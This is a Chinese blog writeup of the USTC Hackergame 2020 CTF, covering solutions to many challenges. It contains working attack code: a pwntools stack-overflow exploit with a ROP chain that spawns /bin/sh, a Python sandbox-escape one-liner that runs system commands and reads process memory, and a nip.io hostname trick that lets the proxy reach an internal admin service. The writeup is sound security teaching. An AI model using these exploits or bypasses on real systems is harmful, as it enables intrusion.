USTC Hackergame 2020 – Writeup

微信扫一扫,分享到朋友圈

USTC Hackergame 2020 – Writeup

太菜了只打了 55 名,不过好玩,下次还来。

签到

打开题目,看到他要求我们提交的是一个整数

由于拖条设置的步进很小,因此很难准确拖到 1 的位置

<input
type="range"
id="number"
name="number"
class="form-control"
value="0"
min="0"
max="1.5"
step="0.00001"
/>

通过 F12 将改成 step="1" ,然后就可以很轻松拖到整数的位置了,然后提交即可拿到 flag

猫咪问答++

和往年类似的问答题,考验选手的搜索能力。

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个? Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

太多了不想搜索,下一题

  1. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?

在网上搜索「IP 信鸽」就能找到关键字「IP over Avian Carriers」,然后找到了他的 RFC1149

里面提到了这种「以鸟类为载体的网际协议」的 MTU 是 256 milligrams

  1. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?

https://lug.ustc.edu.cn/news/2019/09/2019-sfd-ustc/

最后一项是李文睿同学介绍了开源游戏 Teeworlds

  1. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?

百度地图街景 yyds

https://map.baidu.com/poi/%E4%B8%AD%E5%9B%BD%E7%A7%91%E5%AD%A6%E6%8A%80%E6%9C%AF%E5%A4%A7%E5%AD%A6(%E8%A5%BF%E6%A0%A1%E5%8C%BA)/@13053523.02265,3720271.1750600003,18z#panoid=09010500121705221534309496D&panotype=street&heading=341.1&pitch=-19.99&l=18

我不得不吐槽一下题目,图书馆前面有三排停车位,一时没太理解到他问的是哪排

反正答案就是上面链接面对的着的那排了,9 个

  1. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?

https://news.ustclug.org/2019/12/hackergame-2019/

比赛期间所有人合计提交了 17098 次 flag

这样 2345 题就解出来了,剩下第一题,直接丢 Burpsuite 里面跑一下就出来了,第一题答案是 12。


我也不知道是哪个,反正就是 12 个哺乳动物

2048

经典游戏 2048 的进化版 16384

这题有几种解法,下面来给大家分别讲一下几种做法

解法一

慢慢玩直到通关

解法二

在你玩了一会之后,如果你刷新这个页面的话,你会发现你的游戏进度在这个浏览器上并不会丢失

查看 Cookies 并没有包含我们的游戏进度,并且我们每次操作也没有提交我们实时的状态去后端去算

游戏进度存储在本地的话,那么就是 Local Storage 了

看到里面有我们当前的游戏状态 gameState ,里面包含了格子的状态

{"grid":{"size":4,"cells":[[null,null,{"position":{"x":0,"y":2},"value":2},null],[null,null,null,null],[null,null,null,null],[null,{"position":{"x":3,"y":1},"value":2},null,{"position":{"x":3,"y":3},"value":4}]]},"score":4,"over":false,"won":false,"keepPlaying":false}

想要快速通关的话,修改格子里面的 value ,这个值代表了这个格子是什么进度的。

然后我修改了一份,大家可以拿去用,修改完这个值之后刷新页面即可看到。

{"grid":{"size":4,"cells":[[null,null,null,null],[null,null,{"position":{"x":1,"y":2},"value":4096},{"position":{"x":1,"y":3},"value":4096}],[null,null,null,{"position":{"x":2,"y":3},"value":4096}],[null,null,null,{"position":{"x":3,"y":3},"value":4096}]]},"score":0,"over":false,"won":false,"keepPlaying":false}

简单操作之后你就可以 大成功 了

解法三

直接看网站源代码

http://202.38.93.111:10005/static/js/html_actuator.js 里面有这么一段 Javascript 代码

if (won) {
url = "/getflxg?my_favorite_fruit=" + ("b" + "a" + +"a" + "a").toLowerCase();
} else {
url = "/getflxg?my_favorite_fruit=";
}

如果我们赢了那就去请求这个地址得到 flag,他这里简单藏了一下,在控制台执行一下就可以知道要传什么参数了

('b'+'a'+ +'a'+'a').toLowerCase()

直接访问 http://202.38.93.111:10005/getflxg?my_favorite_fruit=banana 即可拿到 flag

一闪而过的 Flag

送分题,懂的都懂

用你喜欢的命令行工具(cmd / Powershell)运行一下即可看到 flag

从零开始的记账工具人

题目给了我们一个 excel 表格,首先我们使用 LibreOffice Calc


Excel

将其转换成 csv 格式便于后续处理,并去掉第一行

然后我找到了一个处理中文数字的 Python 库, Ailln/cn2an: :package: 快速转化「中文数字」和「阿拉伯数字」~ (最新特性:分数,日期、温度等转化)

将中文数字转换成阿拉伯数字之后,自己简单处理一下「元」「角」「分」的进制就好了

import cn2an
total = 0
with open('bills.csv') as f:
for line in f:
price, count = line.strip().split(',')
if '元' in price:
yuan, rest = price.split('元')
else:
yuan = "零"
rest = price
if '角' in rest:
jiao, rest = rest.split('角')
else:
jiao = "零"
fen = rest
if '分' in rest:
fen = rest.strip('分').replace('零', '')
else:
fen = "零"
yuan = cn2an.cn2an(yuan)
jiao = cn2an.cn2an(jiao)
fen = cn2an.cn2an(fen)
price = yuan + 0.1 * jiao + fen * 0.01
total += price * int(count)
print(total)

超简单的世界模拟器

题目是一个有边界的「Conway’s Game of Life」

有一个坑的地方需要注意一下,注意题目「“清除”两个正方形」,这意味这两个正方形的初始状态是激活的,我们的目标是同时消除这两个正方形

题目的基本信息得了解清楚,画布的大小是 50×50,两个待消除的正方形坐标也需要弄清楚(见代码部分)

接着我找到了这个游戏的 Golang 实现, https://golang.org/doc/play/life.go ,并进行了一些小修改

func (f *Field) Alive(x, y int) bool
func NewLife(w, h int) *Life

代码的 diff patch 如下

7a8,9
> 	"os"
> 	"strings"
35,38c37,42
< 	x += f.w
< 	x %= f.w
< 	y += f.h
< 	y %= f.h
---
> 	if x < 0 || x > 49 {
> 		return false
> 	}
> 	if y < 0 || y > 49 {
> 		return false
> 	}
69,70c73,76
< 	for i := 0; i < (w * h / 4); i++ {
< 		a.Set(rand.Intn(w), rand.Intn(h), true)
---
> 	for x := 0; x < 15; x++ {
> 		for y := 0; y < 15; y++ {
> 			a.Set(x, y, rand.Int()%2 == 1)
> 		}
71a78,85
> 	a.Set(45, 5, true)
> 	a.Set(46, 5, true)
> 	a.Set(45, 6, true)
> 	a.Set(46, 6, true)
> 	a.Set(45, 25, true)
> 	a.Set(46, 25, true)
> 	a.Set(45, 26, true)
> 	a.Set(46, 26, true)
95c109
< 			b := byte(' ')
---
> 			b := byte('0')
97c111
< 				b = '*'
---
> 				b = '1'
105a120,136
> func run() {
> 	for {
> 		l := NewLife(50, 50)
> 		o := strings.Join(strings.Split(l.String(), "\n")[0:15], "\n")
> 		for i := 0; i < 200; i++ {
> 			l.Step()
> 		}
> 		// Target (6, 46) (6, 47) (7, 46) (7, 47) (26, 46) (26, 47) (27, 46) (27, 47)
> 		if !l.a.Alive(45, 5) && !l.a.Alive(46, 5) && !l.a.Alive(45, 6) && !l.a.Alive(46, 6) && !l.a.Alive(45, 25) && !l.a.Alive(46, 25) && !l.a.Alive(45, 26) && !l.a.Alive(46, 26) {
> 			fmt.Println(o)
> 			fmt.Println(">>>>>>>>>>")
> 			fmt.Println(l)
> 			os.Exit(0)
> 		}
> 	}
> }
>
107,111c138,140
< 	l := NewLife(40, 15)
< 	for i := 0; i < 300; i++ {
< 		l.Step()
< 		fmt.Print("\x0c", l) // Clear screen and print field.
< 		time.Sleep(time.Second / 30)
---
> 	rand.Seed(time.Now().UTC().UnixNano())
> 	for i := 0; i < 40; i++ {
> 		go run()
112a142
> 	select {}

一波操作下来,就找到了适合的 15×15 状态


一开始没注意到正方形的初始状态是存活的费了不少时间

只破坏一个正方形

破坏两个正方形

自复读的复读机

一开始看到题目,能执行我们的 python 代码,这不是随随便便就直接执行系统命令去看 flag 吗?


对不起我错了

通过以下输入看到了程序的主程序

__builtins__.__dict__['__import__']('os').system('cat /checker.py')

import subprocess
import hashlib
if __name__ == "__main__":
code = input("Your one line python code to exec(): ")
print()
if not code:
print("Code must not be empty")
exit(-1)
p = subprocess.run(
["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
input=code.encode(),
stdout=subprocess.PIPE,
)
if p.returncode != 0:
print()
print("Your code did not run successfully")
exit(-1)
output = p.stdout.decode()
print("Your code is:")
print(repr(code))
print()
print("Output of your code is:")
print(repr(output))
print()
print("Checking reversed(code) == output")
if code[::-1] == output:
print(open("/root/flag1").read())
else:
print("Failed!")
print()
print("Checking sha256(code) == output")
if hashlib.sha256(code.encode()).hexdigest() == output:
print(open("/root/flag2").read())
else:
print("Failed!")

他这里处理得非常好,两个 flag 都在 /root 目录下,主程序以 root 运行,我们不安全的输入降权成 nobody 用户运行

我们代码的输入在程序中以 subprocess.input 的形式传给了 /runner.py ,而 /runner.py 的程序非常简单

exec(input())

那么我们从哪里能拿到我们的代码呢?内存!

我们的输入都在内存里面,那么我们从内存里面就能去到我们完整的输入了

参考了一下网上对于取 python 运行内存的方法,思路如下

  1. /proc/self/maps 得到 [heap] 堆的起始地址和结束地址
  2. /proc/self/mem ,从堆的起始位置出发,搜索我输入代码的 index,然后向后取我们代码的长度就拿到我们的输入了

第一个 flag 的拿法

addr=open('/proc/self/maps','r').read().split('\n')[5].split()[0].split('-');start=int(addr[0],16);end=int(addr[1],16);mem=open('/proc/self/mem','rb');mem.seek(start);data=mem.read(end-start);idx=data.index(b'addr=');print(data[idx:idx+263].decode()[::-1],end='')

第二个 flag 的拿法大同小异,无非就是多了引入 hashlib 算 sha256 的过程

addr=open('/proc/self/maps','r').read().split('\n')[5].split()[0].split('-');start=int(addr[0],16);end=int(addr[1],16);mem=open('/proc/self/mem','rb');mem.seek(start);data=mem.read(end-start);idx=data.index(b'addr=');code=data[idx:idx+301];import hashlib;print(hashlib.sha256(code).hexdigest(),end='')

233 同学的字符串工具

字符串大写工具

之前做 CTF 的时候知道有些 Unicode 字符串在进行大小写变换后会变成正常的字母,因此思路就是找一个字符他的大写是我们 FLAG 中的某一个

i = 0
while True:
i += 1
c = chr(i)
if c.upper() in ['F', 'L', 'A', 'G']:
print(i, c.upper())

但是除了这个字母的大小写以外没找到,然后换换思路,找大写之后长度发生了改变的

i = 0
while True:
i += 1
c = chr(i)
if len(c.upper()) != 1:
print(i, c.upper())

于是我找到了 字符,这个字符大写之后是 FL

于是这一问的答案就是 flAG

UTF-7 到 UTF-8 转换工具

Wiki 中看到 = 可以在 UTF-7 中用 +AD0 表示,就硬爆破了一下…

cot = 255
for a in range(cot):
for b in range(cot):
for c in range(cot):
before = '+' + chr(a) + chr(b) + chr(c)
try:
after = before.encode().decode('utf-7')
except:
continue
if after in ['f', 'l', 'a', 'g']:
print("%s %s %s %s %s %s" % (a, b, c, before, after, len(after)))

得到这样一个列表

65 71 69 +AGE a 1
65 71 89 +AGY f 1
65 71 99 +AGc g 1
65 71 119 +AGw l 1

实际测试了下带 + 号的得放在后面,于是用 +AGc 代替 g 提交完事

fla+AGc

233 同学的 Docker

Docker Hub 地址:8b8d3c8324c7/stringtool

这个页面 找到了 flag.txt 是在哪里被打入镜像以及在哪里被删除的

{
digest: "sha256:3b79dda629c51bd67df372efa801ed0e48c730e0ce40e626388d0fe808656ae8"
instruction: "COPY dir:c36852c2989cd5e8bc597bd3df377dd34026f95eb7c4f4b316ab3a549e3694d6 in /code/ "
size: 782
}

然后在 这里 找到了下载特定 layer 的脚本,稍作改动

#!/bin/sh
set -eu
IMG_NAME=8b8d3c8324c7/stringtool
IMG_LAYER=sha256:3b79dda629c51bd67df372efa801ed0e48c730e0ce40e626388d0fe808656ae8
if ! which curl >/dev/null 2>&1; then
echo "Please ensure that curl is installed (e.g. apt-get install curl)..."
exit 1
fi
if ! which jq >/dev/null 2>&1; then
echo "Please ensure that jq is installed (e.g. apt-get install jq)..."
exit 1
fi
# Get a token
TOKEN=$(curl -sSL "https://auth.docker.io/token?service=registry.docker.io&scope=repository:${IMG_NAME}:pull" | jq -r .token)
# Fetch the layer
exec curl \
-SL \
-H "Authorization: Bearer $TOKEN" \
-o flag.tgz \
"https://registry-1.docker.io/v2/${IMG_NAME}/blobs/${IMG_LAYER}"

从零开始的 HTTP 链接

浏览器打不开,试图用 iptables 做 NAT 也不给我用 0 号端口

然后想到了 socat 做端口转发

socat TCP-LISTEN:5555,fork TCP4:202.38.93.111:0

访问本地的 5555 端口就完事了

超简陋的 OpenGL 小程序

虽然不知道为什么,但是在网上抄了两段 example 覆盖过去之后 flag 就出来了。

basic_lighting.vs

#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;
out vec3 FragPos;
out vec3 Normal;
uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;
void main()
{
FragPos = vec3(model * vec4(aPos, 1.0));
Normal = aNormal;
gl_Position = vec4(aPos.x, aPos.y, aPos.z, 1.0);
}

basic_lighting.fs

#version 330 core
out vec4 FragColor;
in vec3 FragPos;
in vec3 Normal;
in vec3 LightPos;   // extra in variable, since we need the light position in view space we calculate this in the vertex shader
uniform vec3 lightColor;
uniform vec3 objectColor;
void main()
{
// ambient
float ambientStrength = 0.1;
vec3 ambient = ambientStrength * lightColor;
// diffuse
vec3 norm = normalize(Normal);
vec3 lightDir = normalize(LightPos - FragPos);
float diff = max(dot(norm, lightDir), 0.0);
vec3 diffuse = diff * lightColor;
// specular
float specularStrength = 0.5;
vec3 viewDir = normalize(-FragPos); // the viewer is always at (0,0,0) in view-space, so viewDir is (0,0,0) - Position => -Position
vec3 reflectDir = reflect(-lightDir, norm);
float spec = pow(max(dot(viewDir, reflectDir), 0.0), 32);
vec3 specular = specularStrength * spec * lightColor;
vec3 result = (ambient + diffuse + specular) * objectColor;
FragColor = vec4(result, 1.0);
}

(本来想截个图的但是远程桌面打不开)

生活在博弈树上

简单的 pwn 题目,先看一下基本信息

[*] '/home/imlonghao/Downloads/tictactoe'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

源代码的 163 行用了一个不安全的 gets(input); 产生了问题

虽然 Stack: Canary found 但是没在这个函数里面找到这个保护,直接溢出即可

flag1

在代码里面看到如果我们赢了的话(即 v15 == true),那么就会给我们返回一个 flag

在上面的上面的图里能看到,出问题的地方是 gets(&v12) ,看看栈上的布局

-0000000000000090 var_90          db ?  // v12
...
-0000000000000001 var_1           db ?  // v15

刚好,我们直接从 v12 一直溢出到 v15 然后写个 1 就成功了,代码如下

#!/usr/bin/env python3
from pwn import *
from struct import pack
proc = "./tictactoe"
context.binary = proc
context.log_level = "debug"
if args.R:
p = remote("202.38.93.111", 10141)
p.sendlineafter(
"Please input your token: ",
"YOUR_TOKEN",
)
else:
p = process(proc)
p.sendlineafter("such as (0,1):", "(2,2)" + "a" * (0x90 - 0x01 - 5) + "\x01")
p.interactive()

flag2

下一步应该是要我们拿到机器的权限, ldd 了一下提示是 不是动态可执行文件 ,那么就是用了静态链接的程序

通过 ROPgadget --binary tictactoe --ropchain 直接拿到了 ropchain,然后将 payload 贴到函数的返回地址处即可

-0000000000000090 var_90          db ?  // v12
...
-0000000000000001 var_1           db ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
#!/usr/bin/env python3
from pwn import *
from struct import pack
proc = "./tictactoe"
context.binary = proc
context.log_level = "debug"
if args.R:
p = remote("202.38.93.111", 10141)
p.sendlineafter(
"Please input your token: ",
"YOUR_TOKEN",
)
else:
p = process(proc)
# Padding goes here
payload = b""
payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E0)  # @ .data
payload += pack("<Q", 0x000000000043E52C)  # pop rax ; ret
payload += b"/bin//sh"
payload += pack("<Q", 0x000000000046D7B1)  # mov qword ptr [rsi], rax ; ret
payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x0000000000439070)  # xor rax, rax ; ret
payload += pack("<Q", 0x000000000046D7B1)  # mov qword ptr [rsi], rax ; ret
payload += pack("<Q", 0x00000000004017B6)  # pop rdi ; ret
payload += pack("<Q", 0x00000000004A60E0)  # @ .data
payload += pack("<Q", 0x0000000000407228)  # pop rsi ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x000000000043DBB5)  # pop rdx ; ret
payload += pack("<Q", 0x00000000004A60E8)  # @ .data + 8
payload += pack("<Q", 0x0000000000439070)  # xor rax, rax ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000463AF0)  # add rax, 1 ; ret
payload += pack("<Q", 0x0000000000402BF4)  # syscall
p.sendlineafter("such as (0,1):", b"a" * (0x90 + 0x8) + payload)
p.sendlineafter("such as (0,1):", "(1,1)")
p.sendlineafter("such as (0,1):", "(1,2)")
p.recvuntil("time~\n")
p.interactive()

狗狗银行

做的时候服务器挺流畅的,后面应该是被刷爆了

我们能在狗狗银行开储蓄卡和信用卡,储蓄卡可以存钱,信用卡可以借钱。


(废话)

我们每天需要 10 块钱吃饭并结束一天,同时会计算当日利息

  • 储蓄卡利率每日 0.3%
  • 信用卡利率每日 0.5%,并且最低 10

我们的目标是使总资产从 1000 变成 2000

看上去是不可能的,因为信用卡利率比储蓄卡利率高

但谁让这里是狗狗银行,经过了测试他存在四舍五入的问题

当我们储蓄卡余额是 167 元时,当天能拿到的利息不是 167*0.3%=0.501 ,而是四舍五入之后的 1 元,此时的实际利息变成了 1/167=0.5988%

同理,信用卡借 2099 元时,当天需要缴纳的利息不是 2099*0.5%=10.495 ,而是四舍五入之后的 10 元,此时的实际利息变成了 10/2099=0.476%

利用了这个规则,我们就能做到储蓄卡的利息比信用卡的高,从狗狗银行赚钱也有可能了

#!/usr/bin/env python3
import requests
token = "YOUR_TOKEN"
def reset():
req = requests.post(
"http://202.38.93.111:10100/api/reset",
headers={
"Authorization": "Bearer {}".format(token),
"Accept": "application/json",
},
)
if req.status_code != 200:
print(req.text)
def transfer(src, dst, amount):
req = requests.post(
"http://202.38.93.111:10100/api/transfer",
json={"src": src, "dst": dst, "amount": amount},
headers={
"Authorization": "Bearer {}".format(token),
"Accept": "application/json",
},
)
if req.status_code != 200:
print(src, dst, amount, req.text)
# debit credit
def create(t):
req = requests.post(
"http://202.38.93.111:10100/api/create",
json={"type": t},
headers={
"Authorization": "Bearer {}".format(token),
"Accept": "application/json",
},
)
if req.status_code != 200:
print(t, req.text)
reset()
r = 100
for x in range(r):
create("credit")
for i in range(12):
create("debit")
transfer(2 + x * 13, 3 + i + x * 13, 167)
transfer(2 + x * 13, 1, 95)

计划是开一堆卡,每张储蓄卡留 167 元,信用卡借 2099 元,运行上述脚本后,手动去网页点几天吃饭结算就能达到 2000 元

超基础的数理模拟器

解法一

纸笔手算

解法二

数字帝国永远的神

在使用自动化脚本的时候,题目有一个坑,每次都会给你一个新的 session,如果你不保存这个新的 session,那你程序就白给了

本来想用 sympy 算的,但是好慢啊,就直接用网上的接口了

跑一会,429,浏览器打开输个验证码继续跑,:)

使用了 pylatexenc 作为 latex 格式的解析,然后手动替换一些网站无法识别的符号,然后提交答案,输出 session

#!/usr/bin/env python3
import os
import time
import random
import requests
from pylatexenc.latex2text import LatexNodes2Text
SESSION = "YOUR_SESSION"
s = requests.Session()
s.get("http://202.38.93.111:10190/", cookies={"session": SESSION})
def get_question():
resp = s.get("http://202.38.93.111:10190/", cookies={"session": SESSION}).text
q = resp.split("\n")[65]
return q[q.index("$") + 1 : -12]
def query_ans(f, a, b):
resp = s.post(
"https://zh.example.com/definiteintegralcalculator.php", # 网站方不允许程序调用所以域名被我改了
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.62"
},
data={
"function": f,
"var": "x",
"a": a,
"b": b,
},
).text
try:
ans = resp[resp.index("<span id=result1>") :]
except:
return 0
ans = ans[17 : ans.index("&")].split(".")
ans[1] = ans[1][:6]
return ".".join(ans)
def submit(ans):
s.post("http://202.38.93.111:10190/submit", data={"ans": ans})
while True:
time.sleep(random.randint(5, 10))
ques = get_question()
text = LatexNodes2Text().latex_to_text(ques).split(" ")
r = text[0][2:].split("^")
_from = r[0]
_to = r[1]
f = " ".join(text[1:])
print(f)
f = f.replace("√", "sqrt")
f = f.replace("   ", " * ")
# f = f.replace("arctan", "atan")
# f = f.replace("^", "**")
print(f)
ans = query_ans(f, _from, _to)
# ans = integrate(eval(f), (x, _from, _to))
print(ans)
print(s.cookies.get("session"))
if ans == 0:
continue
submit(ans)
print()

超安全的代理服务器

找到 Secret

题目强调了推送(PUSH),而我们 http 头和其他常见的地方也没找到,那么应该就是 http2 的特性 Server Push 了, HTTP/2 Server Push – Wikipedia

简单来说这是用来加速静态资源的加载的,当然,你也可以把东西藏在里面

想知道服务器通过 HTTP/2 Server Push 推了什么给你有几种方式

一种是用 Wireshark,设置环境变量 SSLKEYLOGFILE 导出 DH 交换的私钥,然后在命令行启动浏览器

另一种是用支持 Server Push 的客户端,例如 nghttp

nghttp -v https://146.56.228.227/

他直接就列出来的服务器推送的内容,而 flag 也在里面

入侵管理中心

有了 Secret 之后就可以尝试连接管理中心,管理地址从首页来看地址是 http://127.0.0.1:8080 ,并且服务器还对代理的连接做了一些限制

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn/

通过上述命令成功请求到的 USTC 的首页,看到 https 隧道的建立头是

> CONNECT www.ustc.edu.cn:443 HTTP/1.1
> Host: www.ustc.edu.cn:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 3fb0f4759f
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Content-Length: 0
Content-Length: 0
* Ignoring Content-Length in CONNECT 200 response

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cc/

将链接的域名改成 cn 后缀之后,代理隧道没建立起来,返回了 403

* Establish HTTP proxy tunnel to www.ustc.edu.cc:443
> CONNECT www.ustc.edu.cc:443 HTTP/1.1
> Host: www.ustc.edu.cc:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 3fb0f4759f
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
< Date: Sat, 07 Nov 2020 06:50:21 GMT
Date: Sat, 07 Nov 2020 06:50:21 GMT
< Content-Length: 549
Content-Length: 549
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn.cc/

将链接的域名改成 cn.cc 后缀之后,没有给我们返回 403 ,而是返回了 502,看上去是绕过了域名限制,只是由于该域名解析不出来 IP 造成的

> CONNECT www.ustc.edu.cn.cc:443 HTTP/1.1
> Host: www.ustc.edu.cn.cc:443
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 68eada3eec
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 502 Bad Gateway
< Date: Sat, 07 Nov 2020 06:55:43 GMT
< Content-Length: 533
< Content-Type: text/html; charset=utf-8

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') https://www.ustc.edu.cn.127.0.0.1.nip.io:8080/

使用 nip.io 的服务器,指向本地 127.0.0.1:8080 管理中心的地址

得到了祖传的 curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number

这是用 https 协议访问 http 网站很常见的错误

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/

改成 http 协议后,发现他返回了网页本身的内容,而不是管理中心的

查看代理请求头看看有什么差别

> GET http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> Secret: 23c8e64e2a
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* Mark bundle as not supporting multiuse
< HTTP/1.1 505 HTTP Version Not Supported
< Date: Sat, 07 Nov 2020 06:58:27 GMT
< Content-Length: 964
< Content-Type: text/html; charset=utf-8

他这里直接没有使用 CONNECT 建立链接,因此不被支持返回了原来网站的内容

在查阅 curl 文档之后发现,只需要添加 -p 参数即可使用 CONNECT 建立链接

curl -v -k --proxy https://146.56.228.227/ --proxy-insecure --proxy-header "Secret: "(nghttp https://146.56.228.227/ 2>/dev/null | grep secret: | awk '{print $4}') http://www.ustc.edu.cn.127.0.0.1.nip.io:8080/ -p

> CONNECT www.ustc.edu.cn.127.0.0.1.nip.io:8080 HTTP/1.1
> Host: www.ustc.edu.cn.127.0.0.1.nip.io:8080
> User-Agent: curl/7.73.0
> Proxy-Connection: Keep-Alive
> Secret: 02dcaacbc3
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 0
* Ignoring Content-Length in CONNECT 200 response
<
